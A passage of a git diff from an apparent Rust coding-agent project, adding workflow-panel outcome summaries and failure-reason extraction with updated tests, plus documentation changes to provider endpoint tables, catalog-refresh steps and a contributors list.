.or_else(|| self.result_summary.as_deref().map(first_sentence)),
|
||||
}
|
||||
.map(|text| text.split_whitespace().collect::<Vec<_>>().join(" "))
|
||||
.filter(|text| !text.is_empty());
|
||||
Some((
|
||||
tr(self.locale, state).into_owned(),
|
||||
@@ -1744,6 +1768,111 @@ impl WorkflowPanel {
|
||||
(failed, cancelled)
|
||||
}
|
||||
|
||||
/// Rows by outcome: `(succeeded, failed, cancelled, total)`. Rejected
|
||||
/// dispatches are not rows, so they are not in these counts.
|
||||
#[must_use]
|
||||
pub fn row_outcomes(&self) -> (usize, usize, usize, usize) {
|
||||
self.phases.iter().map(WorkflowPanelPhase::counts).fold(
|
||||
(0, 0, 0, 0),
|
||||
|acc, (done, running, failed, cancelled)| {
|
||||
(
|
||||
acc.0 + done,
|
||||
acc.1 + failed,
|
||||
acc.2 + cancelled,
|
||||
acc.3 + done + running + failed + cancelled,
|
||||
)
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
/// The run's name on one-line surfaces: the goal's first sentence. The
|
||||
/// full goal stays on the expanded card, so a paragraph-long goal is not
|
||||
/// the title of every row that names the run.
|
||||
#[must_use]
|
||||
pub fn short_title(&self) -> String {
|
||||
let title = first_sentence(&self.label);
|
||||
if title.is_empty() {
|
||||
"workflow".to_string()
|
||||
} else {
|
||||
title
|
||||
}
|
||||
}
|
||||
|
||||
/// `k/n done · m failed · c cancelled`: what finished, and what did not.
|
||||
/// Only the done count is always there; a failed or cancelled count shows
|
||||
/// only when it is not zero. Settled-but-failed agents never count as done.
|
||||
#[must_use]
|
||||
pub fn outcome_counts_text(&self) -> String {
|
||||
let (succeeded, _, _, total) = self.row_outcomes();
|
||||
let (failed, cancelled) = self.failure_cancel_counts();
|
||||
let mut parts = Vec::new();
|
||||
if total > 0 {
|
||||
parts.push(
|
||||
tr(self.locale, MessageId::WorkflowSettledOfTotal)
|
||||
.replace("{done}", &succeeded.to_string())
|
||||
.replace("{total}", &total.to_string()),
|
||||
);
|
||||
} else if failed == 0 {
|
||||
parts.push(tr(self.locale, MessageId::WorkflowNoTasksYet).into_owned());
|
||||
}
|
||||
if failed > 0 {
|
||||
parts.push(count_text(
|
||||
self.locale,
|
||||
MessageId::WorkflowCountFailed,
|
||||
failed,
|
||||
));
|
||||
}
|
||||
if cancelled > 0 {
|
||||
parts.push(count_text(
|
||||
self.locale,
|
||||
MessageId::WorkflowCountCancelled,
|
||||
cancelled,
|
||||
));
|
||||
}
|
||||
parts.join(" · ")
|
||||
}
|
||||
|
||||
/// The one reason worth showing for a run that settled short of success,
|
||||
/// as its first sentence. When nothing succeeded, a failed agent's own
|
||||
/// reason ("Authorization failed: …") beats the run's aggregate ("no task
|
||||
/// produced a result: all 2 task(s) failed …"): it is the cause a person
|
||||
/// can act on. `None` for a live or fully successful run.
|
||||
#[must_use]
|
||||
pub fn outcome_reason(&self) -> Option<String> {
|
||||
let row_reason = || {
|
||||
self.phases
|
||||
.iter()
|
||||
.flat_map(|phase| phase.rows.iter())
|
||||
.filter(|row| row.status.is_failure())
|
||||
.find_map(|row| row.error.as_deref().or(row.schema_error.as_deref()))
|
||||
.map(str::to_string)
|
||||
.or_else(|| {
|
||||
self.dispatch_failures
|
||||
.first()
|
||||
.map(|failure| failure.message.clone())
|
||||
})
|
||||
};
|
||||
let run_error = || self.error.clone();
|
||||
let reason = match self.lifecycle {
|
||||
WorkflowPanelLifecycle::Pending
|
||||
| WorkflowPanelLifecycle::Running
|
||||
| WorkflowPanelLifecycle::Succeeded => return None,
|
||||
WorkflowPanelLifecycle::Cancelled => run_error(),
|
||||
WorkflowPanelLifecycle::Degraded => row_reason().or_else(run_error),
|
||||
WorkflowPanelLifecycle::Failed => {
|
||||
let (succeeded, _, _, _) = self.row_outcomes();
|
||||
if succeeded == 0 {
|
||||
row_reason().or_else(run_error)
|
||||
} else {
|
||||
run_error().or_else(row_reason)
|
||||
}
|
||||
}
|
||||
};
|
||||
reason
|
||||
.map(|text| first_sentence(strip_error_tag(&text)))
|
||||
.filter(|text| !text.is_empty())
|
||||
}
|
||||
|
||||
fn record_dispatch_failure(
|
||||
&mut self,
|
||||
label: Option<String>,
|
||||
@@ -1926,6 +2055,47 @@ fn lifecycle_from_status(status: &str) -> WorkflowPanelLifecycle {
|
||||
}
|
||||
}
|
||||
|
||||
/// Drop a leading error-taxonomy tag (`[auth] `, `[rate_limit] `): the
|
||||
/// sentence after it already says what kind of failure it was, and a one-row
|
||||
/// surface has no columns to spare. The full error keeps its tag.
|
||||
fn strip_error_tag(text: &str) -> &str {
|
||||
let trimmed = text.trim_start();
|
||||
trimmed
|
||||
.strip_prefix('[')
|
||||
.and_then(|rest| rest.split_once("] "))
|
||||
.filter(|(tag, _)| {
|
||||
!tag.is_empty()
|
||||
&& tag.len() <= 24
|
||||
&& tag
|
||||
.chars()
|
||||
.all(|ch| ch.is_ascii_alphanumeric() || ch == '_' || ch == '-')
|
||||
})
|
||||
.map_or(trimmed, |(_, rest)| rest)
|
||||
}
|
||||
|
||||
/// The first sentence of `text`, whitespace-flattened, without its closing
|
||||
/// full stop. A sentence ends at `.`, `!` or `?` followed by whitespace, or at
|
||||
/// `;` — so `v0.10.1.` inside a sentence and `a.rs` never split it. Nothing is
|
||||
/// cut mid-word: the caller truncates, at a word boundary, only what does not
|
||||
/// fit.
|
||||
pub(crate) fn first_sentence(text: &str) -> String {
|
||||
let flat = text.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
let mut end = flat.len();
|
||||
let mut chars = flat.char_indices().peekable();
|
||||
while let Some((index, ch)) = chars.next() {
|
||||
let next_is_space = chars.peek().is_some_and(|(_, next)| *next == ' ');
|
||||
if ch == ';' || (matches!(ch, '.' | '!' | '?') && next_is_space) {
|
||||
end = if ch == '.' || ch == ';' {
|
||||
index
|
||||
} else {
|
||||
index + ch.len_utf8()
|
||||
};
|
||||
break;
|
||||
}
|
||||
}
|
||||
flat[..end].trim_end_matches(['.', ' ']).trim().to_string()
|
||||
}
|
||||
|
||||
/// `{count} running`-style labelled count.
|
||||
fn count_text(locale: Locale, id: MessageId, count: usize) -> String {
|
||||
tr(locale, id).replace("{count}", &count.to_string())
|
||||
@@ -2568,6 +2738,7 @@ mod tests {
|
||||
task_id: task_id.to_string(),
|
||||
status,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 2_500,
|
||||
});
|
||||
}
|
||||
@@ -2692,12 +2863,14 @@ mod tests {
|
||||
task_id: "t1".to_string(),
|
||||
status: WorkflowRowStatus::Failed,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 1_400,
|
||||
});
|
||||
panel.apply_event(WorkflowPanelEvent::TaskCompleted {
|
||||
task_id: "t2".to_string(),
|
||||
status: WorkflowRowStatus::Cancelled,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 1_500,
|
||||
});
|
||||
let (failed, cancelled) = panel.failure_cancel_counts();
|
||||
@@ -3006,6 +3179,7 @@ mod tests {
|
||||
task_id: "t1".to_string(),
|
||||
status: WorkflowRowStatus::Failed,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 2_000,
|
||||
});
|
||||
panel.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
@@ -3048,6 +3222,7 @@ mod tests {
|
||||
task_id: "t1".to_string(),
|
||||
status: WorkflowRowStatus::Failed,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 2_000,
|
||||
});
|
||||
if let Some(row) = panel.find_row_mut("t1") {
|
||||
@@ -3222,6 +3397,7 @@ mod tests {
|
||||
task_id: id.to_string(),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 1_500,
|
||||
});
|
||||
}
|
||||
@@ -3245,6 +3421,7 @@ mod tests {
|
||||
task_id: "t4".to_string(),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 2_000,
|
||||
});
|
||||
panel.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
@@ -3331,6 +3508,7 @@ mod tests {
|
||||
task_id: "impl".to_string(),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 2_000,
|
||||
});
|
||||
panel.apply_event(WorkflowPanelEvent::PhaseStarted {
|
||||
@@ -3353,6 +3531,7 @@ mod tests {
|
||||
task_id: "ver".to_string(),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 3_000,
|
||||
});
|
||||
panel.apply_event(WorkflowPanelEvent::RunCompleted {
|
||||
@@ -3428,6 +3607,7 @@ mod tests {
|
||||
task_id: id.to_string(),
|
||||
status,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 1_500,
|
||||
});
|
||||
}
|
||||
@@ -3454,6 +3634,7 @@ mod tests {
|
||||
task_id: "syn".to_string(),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 2_000,
|
||||
});
|
||||
// Partial success at run level: completed with surviving synthesis.
|
||||
@@ -3525,6 +3706,7 @@ mod tests {
|
||||
task_id: "slow-1".to_string(),
|
||||
status: WorkflowRowStatus::Succeeded,
|
||||
usage: None,
|
||||
reason: None,
|
||||
at_ms: 1_500,
|
||||
});
|
||||
|
||||
|
||||
@@ -193,8 +193,9 @@ hand: CI runs `seed render --check` and fails on any difference.
|
||||
|
||||
The spec selects and maps; it cannot state a value that disagrees with
|
||||
upstream (unknown keys are refused). If an upstream value is wrong for a
|
||||
Codewhale route, add a correction instead: a seed-only hold would vanish on
|
||||
the first live refresh.
|
||||
Codewhale route, add a correction instead. Corrections apply to both the seed
|
||||
and live rows; a hold made only by hand-editing the seed would vanish on the
|
||||
first live refresh.
|
||||
|
||||
1. `python3 scripts/catalog_models_dev.py seed lock --dry-run` prints the
|
||||
review report: field changes per row, corrections that upstream now
|
||||
@@ -207,8 +208,8 @@ the first live refresh.
|
||||
5. Check that default wire IDs still match `DEFAULT_*_MODEL`, run the
|
||||
catalog tests, and open a PR with the report in its body.
|
||||
|
||||
Optional: use a cheap model **on the PR** to summarize “new / removed /
|
||||
default-risk” — never as the author of the JSON.
|
||||
Optional: use a cheap model to summarize “new / removed / default-risk” in
|
||||
the PR body — never as the author of the JSON.
|
||||
|
||||
---
|
||||
|
||||
@@ -225,7 +226,7 @@ cron (daily or weekly)
|
||||
(and optionally report new ids vs provider defaults)
|
||||
→ if material change: open PR
|
||||
title: chore(catalog): refresh Models.dev offline seed
|
||||
→ optional: agent comments a human-readable diff summary on the PR
|
||||
→ optional: include an agent-written, human-readable diff summary in the PR body
|
||||
```
|
||||
|
||||
Such a job would run `seed lock` and `seed render` and open the PR. A PR
|
||||
|
||||
@@ -2036,7 +2036,7 @@ reasoning contract, and all four membership ids omit generic sampling fields.
|
||||
### Core keys (used by the TUI/engine)
|
||||
|
||||
- `provider` (string, optional): `deepseek` (default), `deepseek-anthropic`, `nvidia-nim`, `openai`, `atlascloud`, `wanjie-ark`, `volcengine`, `openrouter`, `xiaomi-mimo`, `novita`, `fireworks`, `siliconflow`, `arcee`, `siliconflow-CN`, `moonshot`, `sglang`, `vllm`, `ollama`, `ollama-cloud`, `huggingface`, `modelscope`, `together`, `qianfan`, `openai-codex`, `anthropic`, `openmodel`, `zai`, `stepfun`, `minimax`, `deepinfra`, `sakana`, `longcat`, `opencode-go`, `meta`, `mistral`, `telecomjs`, `xai`, `orcarouter`, `modelstudio-token-plan`, `google`, `edenai`, or `custom`. Legacy `deepseek-cn` configs are still accepted as an alias for `deepseek`; DeepSeek uses the same official host [`https://api.deepseek.com`](https://api-docs.deepseek.com/) worldwide. `deepseek-anthropic` targets DeepSeek's Anthropic Messages-compatible endpoint at `https://api.deepseek.com/anthropic` using `DEEPSEEK_API_KEY`; `nvidia-nim` targets NVIDIA's NIM-hosted DeepSeek endpoints through `https://integrate.api.nvidia.com/v1`; `openai` targets a generic OpenAI-compatible endpoint, defaulting to `https://api.openai.com/v1`; `atlascloud` targets AtlasCloud's OpenAI-compatible endpoint at `https://api.atlascloud.ai/v1`; `wanjie-ark` targets Wanjie Ark's OpenAI-compatible endpoint at `https://maas-openapi.wanjiedata.com/api/v1`; `volcengine` targets Volcengine Ark's OpenAI-compatible coding endpoint at `https://ark.cn-beijing.volces.com/api/coding/v3`; `openrouter` targets `https://openrouter.ai/api/v1`; `xiaomi-mimo` targets Xiaomi MiMo's OpenAI-compatible endpoint, using `https://token-plan-sgp.xiaomimimo.com/v1` by default for Token Plan keys (`tp-...`) and `https://api.xiaomimimo.com/v1` for pay-as-you-go keys. For Token Plan accounts outside the Singapore default, set `base_url` explicitly or use `mode = "token-plan-cn"` for China and `mode = "token-plan-ams"` for Europe/Amsterdam; `novita` targets `https://api.novita.ai/openai/v1`; `fireworks` targets `https://api.fireworks.ai/inference/v1`; `siliconflow` targets SiliconFlow, defaulting to `https://api.siliconflow.com/v1`; `arcee` targets Arcee AI's OpenAI-compatible endpoint at `https://api.arcee.ai/api/v1`; `siliconflow-CN` targets the SiliconFlow China regional endpoint through `[providers.siliconflow_cn]`; `moonshot` targets Moonshot/Kimi, defaulting to `https://api.moonshot.ai/v1`; `sglang` targets a self-hosted OpenAI-compatible endpoint, defaulting to `http://localhost:30000/v1`; `vllm` targets a self-hosted vLLM OpenAI-compatible endpoint, defaulting to `http://localhost:8000/v1`; `ollama` targets Ollama's OpenAI-compatible endpoint, defaulting to `http://localhost:11434/v1`; `huggingface` targets Hugging Face Inference Providers at `https://router.huggingface.co/v1`; `modelscope` targets ModelScope's OpenAI-compatible inference API at `https://api-inference.modelscope.cn/v1`; `together` targets Together AI at `https://api.together.xyz/v1`; `qianfan` targets Baidu Qianfan at `https://api.baiduqianfan.ai/v1`; `openai-codex` targets ChatGPT/Codex OAuth; `anthropic` targets Claude's native Messages API; `openmodel` targets OpenModel's Anthropic-compatible Messages API at `https://api.openmodel.ai`; `zai` targets Z.ai at `https://api.z.ai/api/coding/paas/v4`; `stepfun` targets StepFun at `https://api.stepfun.ai/v1`; `minimax` targets MiniMax at `https://api.minimax.io/v1`; `deepinfra` targets DeepInfra at `https://api.deepinfra.com/v1/openai`; `sakana` targets Sakana AI Fugu at `https://api.sakana.ai/v1`; `longcat` targets Meituan LongCat at `https://api.longcat.chat/openai/v1`; `opencode-go` targets the subscription-backed OpenCode Go model-aware route (Chat Completions, Responses, or Messages according to the documented model) at `https://opencode.ai/zen/go/v1`; `meta` targets Meta Model API; `mistral` targets Mistral AI's OpenAI-compatible endpoint at `https://api.mistral.ai/v1`; `telecomjs` targets TelecomJS TokenHub at `https://aigw.telecomjs.com/v1`; and `xai` targets xAI's API-key or OAuth route.
|
||||
- `opencode-zen` (string provider value): selects the model-aware OpenCode Zen gateway through `[providers.opencode_zen]`. The default base URL is `https://opencode.ai/zen/v1`, the default model is `gpt-5.6`, and credentials come from `api_key`, `OPENCODE_ZEN_API_KEY`, or fallback `OPENCODE_API_KEY`—never ChatGPT/Codex OAuth. `OPENCODE_ZEN_BASE_URL` and `OPENCODE_ZEN_MODEL` are accepted. The selected model is resolved through the curated Zen catalog: GPT uses Responses, Claude/Qwen use Anthropic Messages, and the documented DeepSeek/MiniMax/GLM/Kimi/Grok/free rows use Chat Completions. Gemini and unknown models fail closed because Codewhale has no proven supported wire contract for them. See the exact current model groups in [`PROVIDERS.md`](PROVIDERS.md#opencode-zen-protocol-catalog).
|
||||
- `opencode-zen` (string provider value): selects the model-aware OpenCode Zen gateway through `[providers.opencode_zen]`. The default base URL is `https://opencode.ai/zen/v1`, the default model is `gpt-5.6`, and credentials come from `api_key`, `OPENCODE_ZEN_API_KEY`, or fallback `OPENCODE_API_KEY`—never ChatGPT/Codex OAuth. `OPENCODE_ZEN_BASE_URL` and `OPENCODE_ZEN_MODEL` are accepted. The selected model's wire comes from the curated Zen snapshot, then from the AI SDK package its Models.dev `opencode` row names (refresh with `codewhale models --update`): GPT, Grok, and Muse Spark use Responses; Claude and most Qwen rows use Anthropic Messages; DeepSeek, MiniMax, GLM, Kimi, `qwen3.8-max`, and the free rows use Chat Completions. Gemini, Models.dev rows marked `deprecated`, and models no loaded catalog lists fail closed because Codewhale has no proven supported wire contract for them. See the exact current model groups in [`PROVIDERS.md`](PROVIDERS.md#opencode-zen-protocol-catalog).
|
||||
- `minimax-anthropic` (string provider value): selects MiniMax's Anthropic-compatible Messages route through `[providers.minimax_anthropic]`. The default Base URL is `https://api.minimax.io/anthropic`; set `https://api.minimaxi.com/anthropic` for China. Keep the `/anthropic` suffix because Codewhale appends `/v1/messages`. The route uses `MINIMAX_API_KEY` and defaults to `MiniMax-M3`; `MiniMax-M2.7` is also registered. Official M3 input modalities are text, image, and video, with adaptive or disabled thinking. M2.7 is text-only and always keeps thinking enabled.
|
||||
- `api_key` (string, required for hosted providers): must be non-empty for DeepSeek/hosted providers (or set the provider API key env var). Self-hosted SGLang, vLLM, and local `ollama` can omit it. `ollama-cloud` requires a key saved for that provider or supplied by `OLLAMA_CLOUD_API_KEY`, then `OLLAMA_API_KEY`.
|
||||
- `auth_mode` (string, optional provider-table key): selects a provider-specific authentication contract. Kimi Code membership uses `auth_mode = "api_key"` (or omit the field), a key created in the [Kimi Code console](https://www.kimi.com/code/console), `base_url = "https://api.kimi.com/coding/v1"`, and bare `model = "k3"` for K3. Codewhale gives that route a safe 262,144-token baseline; set `context_window = 1048576` only when the Kimi Code plan includes 1M access (Allegretto and above). `k3[1m]` is a Claude Code-only convention, not an API model ID, and Codewhale rejects it instead of silently changing the wire model or assuming an entitlement. `model = "kimi-for-coding"` remains the valid K2.7 compatibility route available to all Kimi Code members. Legacy `auth_mode = "kimi_oauth"` fails closed with API-key guidance and never probes, reads, refreshes, or rewrites `kimi_cli`/`kimi_code_cli` credential files. First-class OAuth requires Codewhale's own vendor-registered client identity and remains tracked in #4417.
|
||||
|
||||
+10
-1
@@ -27,6 +27,15 @@ notes, and relevant issue/PR comments.
|
||||
|
||||
## Contributors by time
|
||||
|
||||
<details open>
|
||||
<summary><strong>Unreleased</strong></summary>
|
||||
|
||||
**Merged or adapted contributions**
|
||||
|
||||
- **[SparkofSpike](https://github.com/SparkofSpike)** — translated seventeen more guides into Simplified Chinese, among them plugins, memory, sandbox, workflow authoring, Docker, Termux and HarmonyOS, and brought the existing zh_hans docs onto one terminology standard ([#6662](https://github.com/Hmbown/Codewhale/pull/6662)), then translated thirteen developer and internal docs, among them the runtime API, architecture, tool surface, authorization order, operations runbook and Workroom security ([#6663](https://github.com/Hmbown/Codewhale/pull/6663)).
|
||||
|
||||
</details>
|
||||
|
||||
<details open>
|
||||
<summary><strong>v0.10.1 — reliability and first-run fixes</strong></summary>
|
||||
|
||||
@@ -37,10 +46,10 @@ notes, and relevant issue/PR comments.
|
||||
- **[aboimpinto](https://github.com/aboimpinto)** — restored a green Linux full-workspace test gate without loosening any test, twice ([#6581](https://github.com/Hmbown/Codewhale/pull/6581), [#6666](https://github.com/Hmbown/Codewhale/pull/6666)).
|
||||
- **[dajiaohuang](https://github.com/dajiaohuang)** — validated `config set` values against the settings schema ([#6568](https://github.com/Hmbown/Codewhale/pull/6568)).
|
||||
- **[Water-Run](https://github.com/Water-Run)** — ingested namespaced model-only catalog entries so models present only in the canonical `models` map reach the offering list ([#6400](https://github.com/Hmbown/Codewhale/pull/6400)), and retired the blanket dead-code allowance and its unused feature stages, tightening the budget to match ([#6402](https://github.com/Hmbown/Codewhale/pull/6402)).
|
||||
- **[SparkofSpike](https://github.com/SparkofSpike)** — translated seventeen more guides into Simplified Chinese, among them plugins, memory, sandbox, workflow authoring, Docker, Termux and HarmonyOS, and brought the existing zh_hans docs onto one terminology standard ([#6662](https://github.com/Hmbown/Codewhale/pull/6662)), then translated thirteen developer and internal docs, among them the runtime API, architecture, tool surface, authorization order, operations runbook and Workroom security ([#6663](https://github.com/Hmbown/Codewhale/pull/6663)).
|
||||
|
||||
**Reports and reproductions**
|
||||
|
||||
- **[cenab](https://github.com/cenab)** — requested the Tsubasa provider row and supplied its endpoint, key and model values ([#6695](https://github.com/Hmbown/Codewhale/issues/6695)).
|
||||
- **[BX166](https://github.com/BX166)** — reported the AICraft provider row missing its key console, docs link and guidance, and supplied the values ([#6616](https://github.com/Hmbown/Codewhale/issues/6616)); the report also surfaced that no bundled descriptor's links reached the setup form.
|
||||
|
||||
</details>
|
||||
|
||||
+50
-20
@@ -42,11 +42,16 @@ against the vendor's own docs before trusting any value here:
|
||||
| Command Code | `https://api.commandcode.ai/provider/v1` | `deepseek/deepseek-v4-flash` | `COMMAND_CODE_API_KEY` |
|
||||
| Alibaba Model Studio (DashScope) | `https://dashscope-intl.aliyuncs.com/compatible-mode/v1` | `qwen3.8-flash` | `DASHSCOPE_API_KEY` |
|
||||
| AICraft | `https://aicraftapi.com/v1` | `claude-4.6-sonnet`; DeepSeek / Claude / Gemini / Qwen / GLM / MiniMax / Doubao families | `AICRAFT_API_KEY` |
|
||||
| Tsubasa | `https://api.tsubasa.sh/v1` | `tsubasa-pro`, `tsubasa-fast` (32,768-token context) | `TSUBASA_API_KEY` |
|
||||
|
||||
AICraft's roster spans DeepSeek, Anthropic Claude, Google Gemini, Qwen, GLM,
|
||||
MiniMax and Doubao ids on its OpenAI-compatible endpoint. The authority is
|
||||
`GET https://aicraftapi.com/v1/models` with your key — pick a model from that
|
||||
list, not from this table.
|
||||
Tsubasa implements only `GET /v1/models` and Chat Completions. Its two public
|
||||
model ids share a 32,768-token context, smaller than the 128,000 tokens Codewhale assumes
|
||||
for an unknown model, so set it on the route after saving:
|
||||
`codewhale config set providers.tsubasa.context_window 32768`.
|
||||
OpenCode Zen and OpenCode Go are first-class provider routes, configured like
|
||||
any other provider below; they are not part of this table. In `/provider`,
|
||||
type to filter the list (letters not bound to a row action); `Ctrl+T` probes the
|
||||
@@ -707,7 +712,7 @@ overlay and lets DSH resolve its own keys.
|
||||
| `sakana` | `[providers.sakana]` | `FUGU_API_KEY`, `SAKANA_API_KEY` | `SAKANA_BASE_URL`; default `https://api.sakana.ai/v1` | `fugu` (default), `fugu-ultra-20260615` | Sakana AI Fugu OpenAI-compatible route. Standard Chat Completions wire protocol; streaming supported. `fugu-ultra-20260615` is the heavy/reasoning variant. Env var aliases: `FUGU_API_KEY` (primary), `SAKANA_API_KEY`; provider aliases: `sakana-ai`, `sakana_ai`, `fugu`. |
|
||||
| `longcat` | `[providers.longcat]` | `LONGCAT_API_KEY` | `LONGCAT_BASE_URL`; default `https://api.longcat.chat/openai/v1` | `LongCat-2.0` (default) | Meituan LongCat curated model gateway. OpenAI-compatible Chat Completions wire protocol. Sign up at https://longcat.chat/platform for an API key. Provider aliases: `long-cat`, `meituan-longcat`, `meituan`. |
|
||||
| `opencode-go` | `[providers.opencode_go]` | `OPENCODE_GO_API_KEY` | `OPENCODE_GO_BASE_URL`; default `https://opencode.ai/zen/go/v1` | `deepseek-v4-pro` (default), `grok-4.5`, `glm-5.2`, `glm-5.1`, `kimi-k3`, `kimi-k2.7-code`, `kimi-k2.6`, `deepseek-v4-flash`, `mimo-v2.5`, `mimo-v2.5-pro` | [OpenCode Go](https://opencode.ai/docs/go/) subscription route using OpenAI-compatible Chat Completions. `OPENCODE_GO_MODEL` is accepted. Codewhale uses bare wire IDs; familiar `opencode-go/<model-id>` input aliases normalize to the bare ID. Go models documented only on the Anthropic `/messages` endpoint are deliberately not advertised by this route until Codewhale supports per-model wire selection. Billing surfaces show the Go allowance instead of token-price estimates. |
|
||||
| `opencode-zen` | `[providers.opencode_zen]` | `OPENCODE_ZEN_API_KEY`, fallback `OPENCODE_API_KEY` | `OPENCODE_ZEN_BASE_URL`; default `https://opencode.ai/zen/v1` | `gpt-5.5` (default); current documented GPT, Claude, Qwen, DeepSeek, MiniMax, GLM, Kimi, Grok, and free-model IDs | [OpenCode Zen](https://opencode.ai/docs/zen/) model-aware gateway. `OPENCODE_ZEN_MODEL` is accepted, and official `opencode/<model-id>` selectors normalize to bare wire IDs. GPT rows use `/responses`; Claude and Qwen rows use `/messages`; DeepSeek, MiniMax, GLM, Kimi, Grok, and the listed free rows use `/chat/completions`. Responses and Chat Completions authenticate with Bearer `Authorization`, while Anthropic Messages uses `x-api-key`; none of these routes use ChatGPT/Codex OAuth guidance or headers. Gemini currently fails closed because its model-specific Google wire protocol is not implemented. Unknown models also fail closed until their protocol is present in the curated catalog. |
|
||||
| `opencode-zen` | `[providers.opencode_zen]` | `OPENCODE_ZEN_API_KEY`, fallback `OPENCODE_API_KEY` | `OPENCODE_ZEN_BASE_URL`; default `https://opencode.ai/zen/v1` | `gpt-5.6` (default); current GPT, Claude, Qwen, DeepSeek, MiniMax, GLM, Kimi, Grok, Muse Spark, and free-model IDs | [OpenCode Zen](https://opencode.ai/docs/zen/) model-aware gateway. `OPENCODE_ZEN_MODEL` is accepted, and official `opencode/<model-id>` selectors normalize to bare wire IDs. Each model's wire comes from the curated snapshot, then from the AI SDK package its [Models.dev](https://models.dev) row names: GPT, Grok, and Muse Spark rows use `/responses`; Claude and most Qwen rows use `/messages`; DeepSeek, MiniMax, GLM, Kimi, `qwen3.8-max`, and the free rows use `/chat/completions`. Responses and Chat Completions authenticate with Bearer `Authorization`, while Anthropic Messages uses `x-api-key`; none of these routes use ChatGPT/Codex OAuth guidance or headers. Gemini fails closed because its model-specific Google wire protocol is not implemented; Models.dev rows marked `deprecated` and models no loaded catalog lists also fail closed. See [OpenCode Zen protocol catalog](#opencode-zen-protocol-catalog). |
|
||||
| `meta` | `[providers.meta]` | `META_MODEL_API_KEY`, `MODEL_API_KEY` | `META_MODEL_API_BASE_URL`, `MODEL_API_BASE_URL`; default `https://api.meta.ai/v1` | `muse-spark-1.2` (default) | [Meta Model API](https://developer.meta.com/ai/resources/blog/build-with-muse-spark/) public-preview route using OpenAI-compatible Chat Completions. Muse Spark 1.2 keeps its wire ID, tool support, 1M context, 32K output metadata, and `none` through `xhigh` reasoning effort. `META_MODEL_API_MODEL` and `MODEL_API_MODEL` are accepted. Provider aliases: `meta-ai`, `meta_model_api`, `muse`, `muse-spark`. |
|
||||
| `telecomjs` | `[providers.telecomjs]` | `TELECOMJS_API_KEY` | `TELECOMJS_BASE_URL`; default `https://aigw.telecomjs.com/v1` | `deepseek-v4-pro` conservative fallback; authenticated `/models` rows when a key is configured | TelecomJS TokenHub OpenAI-compatible Chat Completions route. Live catalogs are isolated by provider and key fingerprint, stale rows survive transient refresh failures, and unsupported reasoning request fields are omitted. `TELECOMJS_MODEL` is accepted. Provider aliases: `telecom-js`, `telecom_js`, `telecomjs-cn`, `tokenhub`. |
|
||||
| `mistral` | `[providers.mistral]` | `MISTRAL_API_KEY` | `MISTRAL_BASE_URL`; default `https://api.mistral.ai/v1` | `mistral-code-latest` (default; `codestral-latest` accepted as alias), `mistral-medium-latest` (aliases: `mistral-medium-3-5`), `mistral-small-latest` (aliases: `mistral-small-2603`), `mistral-large-latest` | Mistral AI (la Plateforme) OpenAI-compatible Chat route. On the documented first-party HTTPS `/v1` hosts, Medium and Small send adjustable `reasoning_effort` (`none` or `high` only), parse Mistral's polymorphic thinking/text blocks, and replay stored thinking in that same wire shape. Deprecated native Magistral IDs remain explicit-configuration compatibility routes: they are always-reasoning and never receive the adjustable effort field. Code and Large are non-reasoning. A custom `MISTRAL_BASE_URL` keeps generic Chat semantics unless it is one of the documented first-party hosts. `MISTRAL_MODEL` is accepted. Provider aliases: `mistral-ai`, `mistralai`, `la-plateforme`. |
|
||||
@@ -741,29 +746,54 @@ Zen Responses and Chat Completions requests authenticate with Bearer
|
||||
`Authorization`; Zen Anthropic Messages requests use `x-api-key`. None of these
|
||||
routes add ChatGPT/Codex OAuth headers.
|
||||
|
||||
The bundled Zen transport snapshot follows the [official endpoint
|
||||
table](https://opencode.ai/docs/zen/) and is intentionally explicit:
|
||||
Each Zen model's wire comes from two sources, and neither is guessed from a
|
||||
model-id family (`qwen3.8-flash` is Messages while `qwen3.8-max` is Chat):
|
||||
|
||||
- Responses: `gpt-5.6-sol`, `gpt-5.6-terra`, `gpt-5.6-luna`, `gpt-5.5`,
|
||||
`gpt-5.5-pro`, `gpt-5.4`, `gpt-5.4-pro`, `gpt-5.4-mini`, `gpt-5.4-nano`,
|
||||
`gpt-5.3-codex`, `gpt-5.3-codex-spark`, `gpt-5.2`, `gpt-5.2-codex`,
|
||||
`gpt-5.1`, `gpt-5.1-codex`, `gpt-5.1-codex-max`,
|
||||
`gpt-5.1-codex-mini`, `gpt-5`, `gpt-5-codex`, `gpt-5-nano`.
|
||||
- Anthropic Messages: `claude-fable-5`, `claude-opus-4-8`,
|
||||
`claude-opus-4-7`, `claude-opus-4-6`, `claude-opus-4-5`,
|
||||
1. **The curated snapshot** compiled into Codewhale, verified against the
|
||||
[official endpoint table](https://opencode.ai/docs/zen/) and the `opencode`
|
||||
provider in [Models.dev](https://models.dev). It is the offline floor, and
|
||||
it wins when a catalog row names a different wire for the same id.
|
||||
2. **The Models.dev catalog.** Its `opencode` provider is Zen's published
|
||||
catalog: each model row names the AI SDK package OpenCode itself uses, which
|
||||
Codewhale maps exactly — `@ai-sdk/openai` to Responses, `@ai-sdk/anthropic`
|
||||
to Anthropic Messages, and `@ai-sdk/openai-compatible` (the provider
|
||||
default) to Chat Completions. A Zen model released after this build routes
|
||||
once the catalog lists it, without a Codewhale release. The interactive TUI
|
||||
and `codewhale exec` both load the persisted catalog; refresh it with
|
||||
`codewhale models --update`.
|
||||
|
||||
The curated snapshot:
|
||||
|
||||
